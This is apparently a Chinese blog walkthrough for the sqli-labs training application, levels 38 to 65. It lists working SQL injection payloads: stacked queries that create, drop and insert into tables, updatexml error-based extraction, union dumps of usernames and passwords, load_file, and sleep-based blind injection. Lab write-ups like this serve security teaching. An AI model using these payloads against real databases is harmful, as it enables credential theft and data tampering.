sqli-labs通关攻略教程——堆叠注入+排序注入(less38~less65)

less 38

堆叠注入:将语句堆叠在一起,使用分号隔开;
堆叠注入在mysql数据库中的使用:

select * from users where id=1;create table test like users;  //新建表

select * from users where id=1;drop table test;  //删除表

select * from users where id=1;select 1,2,3;   //查询数据

select * from users where id=1;select load_file('c:/tmpupbbn.php'); //加载文件

select * from users where id=1;insert into users(id,username,password) values ('100','new','new');   //修改文件

方法1——报错注入

  1. 测试后sql语句的闭合方式为单引号。
  2. 尝试后发现可以使用报错注入
/?id=1' and updatexml(1,concat(0x7e,(database())),1)--+

?id=-1' or updatexml(1,concat(0x7e,( select table_name from information_schema.tables where table_schema='security' limit 0,1 )),1) --+

?id=-1' or updatexml(1,concat(0x7e,( select column_name from information_schema.columns where table_name='emails' limit 0,1 )),1) --+

?id=-1' or updatexml(1,concat(0x7e,( select id from security.emails limit 0,1)),1) --+

联合注入

堆叠注入

使用堆叠注入来创建、删除表

?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

id=-1' union select  1,2,group_concat(concat_ws(0x7e,id,username,password))  from security.users--+  // 使用联合注入来验证

在这里插入图片描述
在这里插入图片描述


?id=1';create table crow like users--+  //创建表

//验证
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=1' ;drop table crow--+   //删除表

在这里插入图片描述

less 39

与38关解题思路相同,唯一的区别在于本关为整数型注入,无包裹。

less 40

多次测试后,得到闭合方式为')

联合注入

堆叠注入

38关相同的堆叠注入的思路

less 41

思路与40关相同,区别在于本关为整数型注入,无包裹。

less 42

报错注入

  1. 查看题目提示,本关的传参方式为POST
  2. 使用burp抓包进行测试,发现password处为注入点,且闭合方式为单引号。
  3. 使用联合注入进行测试并结合题目提示,使用报错注入。
1' and updatexml(1,concat(0x7e,(database())),1)--+

-1' or updatexml(1,concat(0x7e,( select table_name from information_schema.tables where table_schema='security' limit 0,1 )),1) --+

-1' or updatexml(1,concat(0x7e,( select column_name from information_schema.columns where table_name='emails' limit 0,1 )),1) --+

-1' or updatexml(1,concat(0x7e,( select id from security.emails limit 0,1)),1) --+

在这里插入图片描述

堆叠注入

less 43

42关思路相同,唯一的区别在于本关的闭合方式为')

less 44

  1. 题目提示传参方式为POST
  2. 本关闭合测试有一些不一样,经测试后闭合方式为单引号
1 or 1=1--+
1' or 1=1--+
1" or 1=1--+
1') or 1=1--+
1") or 1=1--+
  1. 根据题目提示使用堆叠注入,盲注。
a';create table test like users#

a';insert into users values(18,'icepeak','icepeak')#

less 45

44关注入思路相同,唯一的区别在于本关闭合方式为')

less 46

查看题目页面提示传入sort参数,尝试使sort=1在这里插入图片描述

sort=2

在这里插入图片描述

sort=3

在这里插入图片描述
sort=4时提示不存在第四列,我们发现sort等于几时则按第几列的升序排列

?sort=3'  //判断为数字型注入

在这里插入图片描述
分析源码,我们发现前面都是使用get传参传入id值,而在这关中传入的是sort值。在这里插入图片描述

select * from users order by 1 desc; 使用降序进行排列
select * from users order by 1 asc;使用升序进行排列

报错注入

由于题目中只给了报错信息,我们可以尝试报错注入。

?sort=1  and updatexml(1,concat(0x7e,(database())),1)--+

?sort=-1  or updatexml(1,concat(0x7e,( select table_name from information_schema.tables where table_schema='security' limit 0,1 )),1) --+

?sort=-1 or updatexml(1,concat(0x7e,( select column_name from information_schema.columns where table_name='emails' limit 0,1 )),1) --+


?sort=-1 or updatexml(1,concat(0x7e,( select id from security.emails limit 0,1)),1) --+

时间盲注

?sort=1 and if(length(database())=8,1,sleep(10)) --+

less 47

本关注入思路与46关相同,唯一区别在于闭合方式为单引号。

less 48

查看题目提示,经测试无包裹且无报错回显,则使用时间盲注。

less 49

与38关注入思路相同,区别在于本关的闭合方式为单引号。

less 50

查看题目提示,本关无包裹。

堆叠注入

?sort=1;insert into users(id,username,password) values(50,'Less50','Less50')--+

报错注入

?sort=1  and updatexml(1,concat(0x7e,(database())),1)--+

?sort=-1  or updatexml(1,concat(0x7e,( select table_name from information_schema.tables where table_schema='security' limit 0,1 )),1) --+

?sort=-1 or updatexml(1,concat(0x7e,( select column_name from information_schema.columns where table_name='emails' limit 0,1 )),1) --+

?sort=-1 or updatexml(1,concat(0x7e,( select id from security.emails limit 0,1)),1) --+

less 51

注入思路与50关相同,唯一的区别在于本关闭合方式为单引号。

less 52

无包裹,使用盲注或堆叠注入。

less 53

52关的唯一区别是本关闭合方式为单引号。

less 54

查看题目页面有次数限制,尝试五次以内即可测出闭合方式为单引号,后续使用联合注入即可爆出库名、表名、字段、字段中的值。

less 55

无包裹,与54关相同,使用联合注入即可。

less 56

闭合方式为')

less 57

闭合方式为"

less 58

测试闭合方式为单引号,联合注入不成功,则尝试报错注入发现可行。

less 59

数字型注入,无包裹

less 60

闭合方式为")

less 61

闭合方式为'))

less 62

闭合方式为'),基于时间的盲注

less 63

闭合方式为'

less 64

闭合方式为))

less 65

闭合方式为")

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

poggioxay

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值